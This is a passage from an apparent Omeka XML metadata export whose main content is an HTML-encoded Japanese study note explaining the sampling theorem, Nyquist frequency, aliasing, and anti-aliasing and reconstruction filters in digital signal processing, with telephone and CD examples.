            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1908">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="121" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1904">
              <text>&lt;h1&gt;ナイキストの定理（サンプリング定理）とエイリアシング（折り返し雑音）&lt;/h1&gt;
&lt;h2&gt;はじめに&lt;/h2&gt;
&lt;p&gt;サンプリング定理（ナイキストの定理）は、連続時間信号を離散時間信号に変換する際に、元の信号を完全に復元するために必要な条件を定めた重要な定理である。この定理を理解することは、ディジタル信号処理の基礎となる。&lt;/p&gt;
&lt;h2&gt;基本用語の定義&lt;/h2&gt;
&lt;h3&gt;連続時間信号と離散時間信号&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;連続時間信号 x_a(t)&lt;/strong&gt;: 時間 t が連続的に変化する信号。アナログ信号とも呼ばれる。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;離散時間信号 x(n)&lt;/strong&gt;: 時間が離散的な値（n = 0, 1, 2, ...）でのみ定義される信号。ディジタル信号とも呼ばれる。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;サンプリング周波数と標本化間隔&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;サンプリング周波数 F_s [Hz]&lt;/strong&gt;: 1秒間に取得するサンプル数&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;標本化間隔 T_s [秒]&lt;/strong&gt;: サンプル間の時間間隔。T_s = 1/F_s の関係がある。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;ナイキスト周波数&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ナイキスト周波数 F_N [Hz]&lt;/strong&gt;: サンプリング周波数の半分の値。F_N = F_s/2&lt;/li&gt;
&lt;li&gt;例: サンプリング周波数が 4000 Hz の場合、ナイキスト周波数は 2000 Hz となる。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;サンプリング定理の内容&lt;/h2&gt;
&lt;h3&gt;定理の定式化&lt;/h3&gt;
&lt;p&gt;標本化する前の連続時間信号が含んでいる最大の周波数成分を &lt;strong&gt;F_max [Hz]&lt;/strong&gt; とする。また、この信号を標本化周波数 &lt;strong&gt;F_s [Hz]&lt;/strong&gt; で標本化して、離散時間信号が得られたとする。このとき、&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;F_s ≥ 2F_max&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;の関係が満たされていれば、この離散時間信号から元の連続時間信号を完全に復元することができる。&lt;/p&gt;
&lt;h3&gt;別の表現&lt;/h3&gt;
&lt;p&gt;サンプリングされる連続時間信号の最大周波数成分がナイキスト周波数より小さい場合、サンプリング定理が満足される。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;F_max &amp;lt; F_s/2&lt;/strong&gt; または &lt;strong&gt;F_max &amp;lt; F_N&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;※ 注意: 等号を含む場合（F_max = F_s/2）は、理論的には復元可能だが、実用的には完全な復元が困難な場合がある。そのため、通常は等号を含まない条件（F_max &amp;lt; F_s/2）を満たすことが推奨される。&lt;/p&gt;
&lt;h3&gt;角周波数による表現&lt;/h3&gt;
&lt;p&gt;角周波数 [rad/sec] を用いた場合のサンプリング定理は以下のように表現される。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ω_s ≥ 2Ω_max&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ここで、Ω = 2πF の関係がある。&lt;/p&gt;
&lt;p&gt;※ rad の単位を使うと、位相の値の変化が 2π rad に関して周期的となることから、「サンプリング角周波数である Ω_s の整数倍を中心として、スペクトルのコピーが無限に現れる」ことが理解しやすい。&lt;/p&gt;
&lt;h3&gt;振幅スペクトルに基づく説明&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;復元可能な信号の振幅スペクトル&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;周波数範囲: -F_max ～ F_max&lt;/li&gt;
&lt;li&gt;条件: F_s/2 &amp;gt; F_max の関係が満たされている&lt;/li&gt;
&lt;li&gt;結果: スペクトルのコピーが元のスペクトルと重ならない&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;復元不可能な信号の振幅スペクトル&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;周波数範囲: -F_max ～ F_max&lt;/li&gt;
&lt;li&gt;条件: F_s/2 ≤ F_max の関係となっている&lt;/li&gt;
&lt;li&gt;結果: スペクトルのコピーが元のスペクトルと重なり、エイリアシングが発生&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;サンプリング定理の詳細説明&lt;/h2&gt;
&lt;h3&gt;1. 前提条件&lt;/h3&gt;
&lt;p&gt;ある連続時間信号 &lt;strong&gt;x_a(t)&lt;/strong&gt; があらかじめ与えられているとする。&lt;/p&gt;
&lt;p&gt;また、この連続時間信号 x_a(t) のフーリエ変換（すなわちスペクトル）を &lt;strong&gt;X_a(jF)&lt;/strong&gt; とする。&lt;/p&gt;
&lt;p&gt;※ &lt;strong&gt;F&lt;/strong&gt; は周波数 [Hz]&lt;/p&gt;
&lt;p&gt;さらに、このスペクトル X_a(jF) が、以下のように周波数 &lt;strong&gt;F_max [Hz]&lt;/strong&gt; の範囲内に帯域制限されているとする。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;X_a(jF) = 0&lt;/strong&gt; (|F| ≥ F_max のとき)&lt;/p&gt;
&lt;p&gt;すなわち、連続時間信号は最大周波数成分 F_max 以下の周波数成分のみを含む帯域制限信号である。&lt;/p&gt;
&lt;p&gt;※補足: スペクトル X_a(jF) は本来ならば複素数となるが、ここでは説明をわかりやすくするため、X_a(jF) を縦軸に関して対称な実関数と仮定して考えることが多い。実際の信号では、X_a(-jF) = X_a*(jF)（共役複素数）の関係が成り立つ。&lt;/p&gt;
&lt;h3&gt;2. 標本化によるスペクトルの変化&lt;/h3&gt;
&lt;p&gt;前述のスペクトルをもつ連続時間信号を、サンプリング周波数 &lt;strong&gt;F_s [Hz]&lt;/strong&gt; で標本化するとどうなるか？&lt;/p&gt;
&lt;h4&gt;標本化前の信号&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;時刻領域&lt;/strong&gt;: 連続時間信号 x_a(t)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;周波数領域&lt;/strong&gt;: スペクトル X_a(jF)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;周波数範囲&lt;/strong&gt;: -F_max ～ F_max&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特性&lt;/strong&gt;: 連続的な時間軸上で定義される&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;標本化後の信号&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;時刻領域&lt;/strong&gt;: 離散時間信号 x(n) = x_a(nT_s)（n = 0, ±1, ±2, ...）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;周波数領域&lt;/strong&gt;: スペクトル X(e^jω)（離散時間フーリエ変換）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;周波数範囲&lt;/strong&gt;: 周期的に繰り返される（基本周期: F_s）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特性&lt;/strong&gt;: 標本化間隔 T_s = 1/F_s ごとにサンプル値が定義される&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;スペクトルのコピー現象&lt;/h4&gt;
&lt;p&gt;標本化によって、標本化前の信号のスペクトルのコピーが、&lt;strong&gt;原点からサンプリング周波数 F_s の整数倍ずつずれた箇所に、無限個発生する&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;スペクトルのコピー現象の図解&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;連続時間信号のスペクトル X_a(jF)
振幅
  |
  |     |              |
  |-----+--------------+----- 周波数
       -F_max           F_max

サンプリング後の離散時間信号のスペクトル X(e^jω)
振幅
  |
  |     |              |              |              |
  |-----+--------------+--------------+--------------+----- 周波数
       -F_s-F_max    -F_max          F_max         F_s+F_max
         ↑            ↑              ↑              ↑
      第-1コピー    元のスペクトル   元のスペクトル   第1コピー
&lt;/pre&gt;
&lt;p&gt;F_max &amp;lt; F_s/2 の場合、コピー同士が重ならないため、エイリアシングは発生しない。&lt;/p&gt;
&lt;p&gt;数学的には、離散時間信号のスペクトル X(e^jω) は以下のように表現される。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;X(e^j2πF/F_s) = (1/T_s) Σ[k=-∞ to ∞] X_a(j2π(F - kF_s))&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;または、正規化角周波数 ω = 2πF/F_s を使用する場合:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;X(e^jω) = (1/T_s) Σ[k=-∞ to ∞] X_a(j((ω - 2πk)/T_s))&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ここで:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;F [Hz]&lt;/strong&gt;: 物理周波数&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ω [rad]&lt;/strong&gt;: 正規化角周波数（ω = 2πF/F_s）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;F_s [Hz]&lt;/strong&gt;: サンプリング周波数&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;T_s [秒]&lt;/strong&gt;: 標本化間隔（T_s = 1/F_s）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;補足: 「スペクトルのコピーが発生すること」について&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;具体例&lt;/strong&gt;: 1 Hz の正弦波の連続時間信号を、4 Hz でサンプリングして得られる離散時間信号について考える。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;元の信号: sin(2π × 1 × t) = sin(2πt)&lt;/li&gt;
&lt;li&gt;サンプリング周波数: F_s = 4 Hz&lt;/li&gt;
&lt;li&gt;ナイキスト周波数: F_N = 2 Hz&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;サンプリングされた 1 Hz 正弦波には、1 Hz の成分だけでなく、&lt;strong&gt;3 Hz, 5 Hz, 7 Hz, ...&lt;/strong&gt; の成分も含まれている。これは、標本化によってスペクトルのコピーが F_s = 4 Hz の整数倍の位置に発生するためである。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1 Hz 成分: 元の信号成分&lt;/li&gt;
&lt;li&gt;3 Hz 成分: -1 Hz 成分が F_s = 4 Hz の位置に折り返されたもの（4 - 1 = 3）&lt;/li&gt;
&lt;li&gt;5 Hz 成分: 1 Hz 成分が F_s = 4 Hz の位置に折り返されたもの（4 + 1 = 5）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. サンプリング定理を満たしている場合（F_max &amp;lt; F_s/2）&lt;/h3&gt;
&lt;h4&gt;条件&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;F_max &amp;lt; F_s/2&lt;/strong&gt; または &lt;strong&gt;F_max &amp;lt; F_N&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;すなわち、信号の最大周波数成分がナイキスト周波数より小さい場合。&lt;/p&gt;
&lt;h4&gt;スペクトルの状態&lt;/h4&gt;
&lt;p&gt;F_max &amp;lt; F_s/2 の場合は、サンプリングによって発生したスペクトルのコピーがもとの連続時間信号のスペクトルと重なることはない。したがって、もとの連続時間信号のスペクトルそのものがコピー成分によって歪むことはない。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;元のスペクトル: -F_max ～ F_max の範囲&lt;/li&gt;
&lt;li&gt;第1コピー: F_s - F_max ～ F_s + F_max の範囲&lt;/li&gt;
&lt;li&gt;第-1コピー: -F_s - F_max ～ -F_s + F_max の範囲&lt;/li&gt;
&lt;li&gt;重なり: なし（F_max &amp;lt; F_s/2 により、F_s - F_max &amp;gt; F_s/2 &amp;gt; F_max）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;信号の復元&lt;/h4&gt;
&lt;p&gt;この離散時間信号をアナログ信号に変換する際に、&lt;strong&gt;-F_s/2 &amp;lt; F &amp;lt; F_s/2&lt;/strong&gt; の周波数領域の成分だけを取り出して出力すれば、サンプリング前の連続時間信号を完全に復元できる。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;復元可能な周波数範囲の境界値について&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;-F_s/2 &amp;lt; F &amp;lt; F_s/2&lt;/strong&gt;: 厳密な不等式の場合、完全に復元可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-F_s/2 ≤ F ≤ F_s/2&lt;/strong&gt;: 等号を含む場合、F = ±F_s/2 の成分は復元できない可能性がある&lt;/li&gt;
&lt;li&gt;実用的には、&lt;strong&gt;F_max &amp;lt; F_s/2&lt;/strong&gt; の関係を満たすことが推奨される（等号を含まない）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;復元方法:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;離散時間信号 x(n) を D/A 変換器に入力&lt;/li&gt;
&lt;li&gt;理想的な低域通過フィルタ（カットオフ周波数: F_s/2）を通す&lt;/li&gt;
&lt;li&gt;これにより、-F_s/2 &amp;lt; F &amp;lt; F_s/2 の範囲の周波数成分のみが出力される&lt;/li&gt;
&lt;li&gt;元の連続時間信号 x_a(t) が復元される&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;復元の数学的根拠&lt;/h4&gt;
&lt;p&gt;サンプリング定理が満たされている場合、離散時間信号から連続時間信号を復元する式（シャノンの補間公式）は以下のようになる。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;x_a(t) = Σ[n=-∞ to ∞] x(n) × sinc(π(t - nT_s)/T_s)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ここで、sinc(x) = sin(x)/x は sinc 関数である。&lt;/p&gt;
&lt;h3&gt;4. サンプリング定理を満たしていない場合（F_max ≥ F_s/2）&lt;/h3&gt;
&lt;h4&gt;条件&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;F_max ≥ F_s/2&lt;/strong&gt; または &lt;strong&gt;F_max ≥ F_N&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;すなわち、信号の最大周波数成分がナイキスト周波数以上の場合。&lt;/p&gt;
&lt;h4&gt;エイリアシング（折り返し雑音）の発生&lt;/h4&gt;
&lt;p&gt;この場合はコピーの折り返し成分が元のスペクトルと重なってしまう。その結果として、元の信号にはなかった成分が発生し、元の信号が歪んでしまうので、サンプリング前のスペクトルとは異なる形になってしまう。ゆえに、こうなってしまった場合は、もとの連続時間信号を復元することはできなくなる。&lt;/p&gt;
&lt;h4&gt;エイリアシングのメカニズム&lt;/h4&gt;
&lt;p&gt;F_max ≥ F_s/2 であることから、元のスペクトルに隣り合っている折り返しコピーが元のスペクトルと重なってしまう。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;元のスペクトル: -F_max ～ F_max の範囲&lt;/li&gt;
&lt;li&gt;第1コピー: F_s - F_max ～ F_s + F_max の範囲&lt;/li&gt;
&lt;li&gt;重なり: F_s - F_max ≤ F_s/2 ≤ F_max の範囲で重なる&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;高周波成分（F &amp;gt; F_s/2）が低周波成分（F &amp;lt; F_s/2）に折り返されて現れる。例えば:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;元の信号に F = F_s/2 + ΔF の成分があると、F = F_s/2 - ΔF の位置に折り返される&lt;/li&gt;
&lt;li&gt;元の信号に F = F_s + ΔF の成分があると、F = ΔF の位置に折り返される&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;エイリアシングの例&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;具体例&lt;/strong&gt;: 3 Hz の正弦波を 4 Hz でサンプリングする場合&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;元の信号: sin(2π × 3 × t) = sin(6πt)&lt;/li&gt;
&lt;li&gt;サンプリング周波数: F_s = 4 Hz&lt;/li&gt;
&lt;li&gt;ナイキスト周波数: F_N = 2 Hz&lt;/li&gt;
&lt;li&gt;条件: 3 Hz &amp;gt; 2 Hz なので、サンプリング定理を満たしていない&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;この場合、3 Hz の成分は 4 - 3 = 1 Hz の位置に折り返される。したがって、サンプリング後の信号には 1 Hz の成分が現れるが、これは元の信号には存在しなかった成分である。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エイリアシングの折り返しの図解&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;元の信号のスペクトル（3 Hz成分）
振幅
  |
  |              |
  |--------------+----- 周波数
                 3 Hz

サンプリング後のスペクトル（エイリアシング発生）
振幅
  |
  |     |              |
  |-----+--------------+----- 周波数
       1 Hz           3 Hz
        ↑              ↑
    折り返された成分  元の成分（重なり）
&lt;/pre&gt;
&lt;p&gt;このように、ナイキスト周波数（2 Hz）を超える 3 Hz の成分が、1 Hz の位置に折り返されて現れる。&lt;/p&gt;
&lt;h4&gt;エイリアシングの用語&lt;/h4&gt;
&lt;p&gt;このように、元の信号にはなかった成分が発生する現象は、以下のように呼ばれる。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;エイリアシング（Aliasing）&lt;/strong&gt;: 偽の周波数成分が現れる現象&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;折り返し雑音（Folding Noise）&lt;/strong&gt;: 高周波成分が低周波領域に折り返される現象&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スペクトルエイリアシング&lt;/strong&gt;: 周波数領域での重なりによる歪み&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;サンプリング定理のまとめ&lt;/h2&gt;
&lt;h3&gt;定理の要点&lt;/h3&gt;
&lt;p&gt;標本化する前の連続時間信号が含んでいる最大の周波数成分を &lt;strong&gt;F_max [Hz]&lt;/strong&gt; とする。また、この信号を標本化周波数 &lt;strong&gt;F_s [Hz]&lt;/strong&gt; で標本化して、離散時間信号が得られたとする。このとき、&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;F_s ≥ 2F_max&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;の関係が満たされていれば、この離散時間信号から元の連続時間信号を完全に復元することができる。&lt;/p&gt;
&lt;h3&gt;重要なポイント&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;帯域制限&lt;/strong&gt;: 元の信号は最大周波数 F_max 以下の成分のみを含む帯域制限信号でなければならない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;サンプリング周波数&lt;/strong&gt;: 少なくとも信号の最大周波数の2倍以上の周波数でサンプリングする必要がある&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;復元可能性&lt;/strong&gt;: 条件が満たされていれば、理論的に完全な復元が可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エイリアシング&lt;/strong&gt;: 条件が満たされない場合、エイリアシングが発生し、復元不可能&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;実用的な考慮事項&lt;/h3&gt;
&lt;p&gt;実際のシステムでは、以下の点を考慮する必要がある。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;理想的な低域通過フィルタ&lt;/strong&gt;: 復元時に使用するフィルタは理想的な特性を持つことはできないため、実用的には F_s &amp;gt; 2F_max の関係が必要&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エイリアシング防止フィルタ&lt;/strong&gt;: A/D変換前に、ナイキスト周波数以上の成分を除去する必要がある&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;量子化誤差&lt;/strong&gt;: 実際のシステムでは、A/D変換時の量子化誤差も考慮する必要がある&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;ナイキスト周波数&lt;/h2&gt;
&lt;h3&gt;ナイキスト周波数の定義&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ナイキスト周波数 F_N [Hz]&lt;/strong&gt; は、サンプリング周波数の半分の値として定義される。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;F_N = F_s/2&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;ナイキスト周波数の重要性&lt;/h3&gt;
&lt;p&gt;ナイキスト周波数は、サンプリング定理において重要な役割を果たす。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;復元可能な周波数範囲&lt;/strong&gt;: -F_N &amp;lt; F &amp;lt; F_N の範囲の周波数成分は、サンプリング定理が満たされていれば完全に復元可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エイリアシングの境界&lt;/strong&gt;: F_N を超える周波数成分は、低周波領域に折り返される（エイリアシングが発生）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;フィルタ設計の基準&lt;/strong&gt;: アナログプリフィルタやアナログポストフィルタのカットオフ周波数の基準となる&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;具体例&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;サンプリング周波数: F_s = 4000 Hz → ナイキスト周波数: F_N = 2000 Hz&lt;/li&gt;
&lt;li&gt;サンプリング周波数: F_s = 8000 Hz → ナイキスト周波数: F_N = 4000 Hz&lt;/li&gt;
&lt;li&gt;サンプリング周波数: F_s = 44100 Hz → ナイキスト周波数: F_N = 22050 Hz&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;サンプリング定理との関係&lt;/h3&gt;
&lt;p&gt;サンプリングされる連続時間信号の最大周波数成分がナイキスト周波数より小さい場合、サンプリング定理が満足される。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;F_max &amp;lt; F_N&lt;/strong&gt; が成り立てば、&lt;strong&gt;F_s ≥ 2F_max&lt;/strong&gt; も自動的に満たされる。&lt;/p&gt;

&lt;h2&gt;サンプリング定理とディジタル信号処理システムの関わり&lt;/h2&gt;
&lt;h3&gt;ディジタル信号処理システムの概要&lt;/h3&gt;
&lt;p&gt;ディジタル信号処理システムは、アナログ信号をディジタル信号に変換し、処理を行った後、再びアナログ信号に変換するシステムである。サンプリング定理は、このシステムの設計において重要な役割を果たす。&lt;/p&gt;
&lt;pre&gt;アナログ入力信号 u(t)
    ↓
アナログプリフィルタ（エイリアシング防止）
    ↓
標本化（サンプリング）・A/D変換（量子化）
    ↓
ディジタル入力信号 x(n) = {0, 2, 2, 0, -2, 1, ...}
    ↓
DSP（ディジタル信号処理）
    ↓
ディジタル出力信号 y(n) = {0, 1, 1, 0, -1, 0, ...}
    ↓
D/A変換・サンプルホールド
    ↓
アナログポストフィルタ（スペクトルコピーの除去）
    ↓
アナログ出力信号 v(t)
&lt;/pre&gt;
&lt;h3&gt;各ブロックの役割&lt;/h3&gt;
&lt;h4&gt;1. アナログプリフィルタ（A/D変換の前段）&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;目的&lt;/strong&gt;: エイリアシングの防止&lt;/p&gt;
&lt;p&gt;システムに入力されるアナログ信号 u(t) がサンプリング定理を満たすようにするために、A/D変換を実行する前の段階において、u(t) のスペクトルをナイキスト周波数より小さい範囲に帯域制限する。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;機能&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ナイキスト周波数（F_s/2）以上の周波数成分を除去&lt;/li&gt;
&lt;li&gt;理想的な低域通過フィルタとして動作（カットオフ周波数: F_s/2）&lt;/li&gt;
&lt;li&gt;エイリアシングの発生を防止&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;重要性&lt;/strong&gt;: このフィルタがないと、入力信号に高周波成分が含まれている場合、エイリアシングが発生し、元の信号を復元できなくなる。&lt;/p&gt;
&lt;h4&gt;2. 標本化（サンプリング）・A/D変換（量子化）&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;標本化&lt;/strong&gt;: 連続時間信号を離散時間信号に変換（サンプリング周波数 F_s でサンプリング）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A/D変換&lt;/strong&gt;: アナログ値をディジタル値に量子化（量子化誤差が発生）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;: サンプリング定理が満たされていることが前提&lt;/p&gt;
&lt;h4&gt;3. DSP（ディジタル信号処理）&lt;/h4&gt;
&lt;p&gt;ディジタル信号に対して各種処理（フィルタリング、増幅、変調など）を実行&lt;/p&gt;
&lt;h4&gt;4. D/A変換・サンプルホールド&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;D/A変換&lt;/strong&gt;: ディジタル値をアナログ値に変換&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;サンプルホールド&lt;/strong&gt;: 各サンプル値を一定時間保持（階段状の信号が生成される）&lt;/p&gt;
&lt;h4&gt;5. アナログポストフィルタ（D/A変換の後段）&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;目的&lt;/strong&gt;: スペクトルコピーの除去&lt;/p&gt;
&lt;p&gt;サンプリングによって生じたスペクトルのコピーを除去し、ナイキスト周波数より小さい周波数成分だけを抽出して出力する。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;機能&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;理想的な低域通過フィルタとして動作（カットオフ周波数: F_s/2）&lt;/li&gt;
&lt;li&gt;サンプルホールドによる階段状の信号を滑らかな連続信号に変換&lt;/li&gt;
&lt;li&gt;高周波成分（スペクトルのコピー）を除去&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;重要性&lt;/strong&gt;: このフィルタがないと、出力信号に不要な高周波成分が含まれ、元の信号を正確に復元できない。&lt;/p&gt;
&lt;h3&gt;フィルタの種類&lt;/h3&gt;
&lt;p&gt;上記の2つのアナログフィルタは、どちらも&lt;strong&gt;低域通過フィルタ（LPF: Low-Pass Filter）&lt;/strong&gt;または&lt;strong&gt;帯域通過フィルタ（BPF: Band-Pass Filter）&lt;/strong&gt;として、ディジタル信号処理システムに組み込まれている。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;低域通過フィルタ&lt;/strong&gt;: 0 ～ F_s/2 の範囲の周波数成分を通す&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;帯域通過フィルタ&lt;/strong&gt;: 特定の周波数帯域のみを通す（特定の周波数範囲の信号を扱う場合）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;日常生活の必需品とサンプリング定理との関わり&lt;/h3&gt;
&lt;h4&gt;従来の電話（ガラケー等）のサンプリング周波数: 8 kHz&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;音声信号の特性&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;人間の声がもつ周波数成分は、&lt;strong&gt;0.3 kHz ～ 3.4 kHz&lt;/strong&gt; の領域に集中している&lt;/li&gt;
&lt;li&gt;最大周波数成分: F_max = 3.4 kHz&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;サンプリング周波数の決定&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;サンプリング定理より、ディジタル信号処理を用いて人間の声を扱うためには、少なくとも &lt;strong&gt;(3.4 × 2) kHz = 6.8 kHz&lt;/strong&gt; 以上のサンプリング周波数が必要&lt;/li&gt;
&lt;li&gt;実際のシステムでは、マージンを考慮して &lt;strong&gt;F_s = 8 kHz&lt;/strong&gt; が採用されている&lt;/li&gt;
&lt;li&gt;ナイキスト周波数: F_N = 4 kHz&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;フィルタ設計&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;アナログプリフィルタ: 4 kHz 以上の成分を除去&lt;/li&gt;
&lt;li&gt;アナログポストフィルタ: 4 kHz 以上の成分を除去&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;音楽CDのサンプリング周波数: 44.1 kHz&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;音声信号の特性&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;人間の耳が聴きとれる音の周波数の範囲（可聴領域）は &lt;strong&gt;20 Hz ～ 20 kHz&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;最大周波数成分: F_max = 20 kHz&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;サンプリング周波数の決定&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
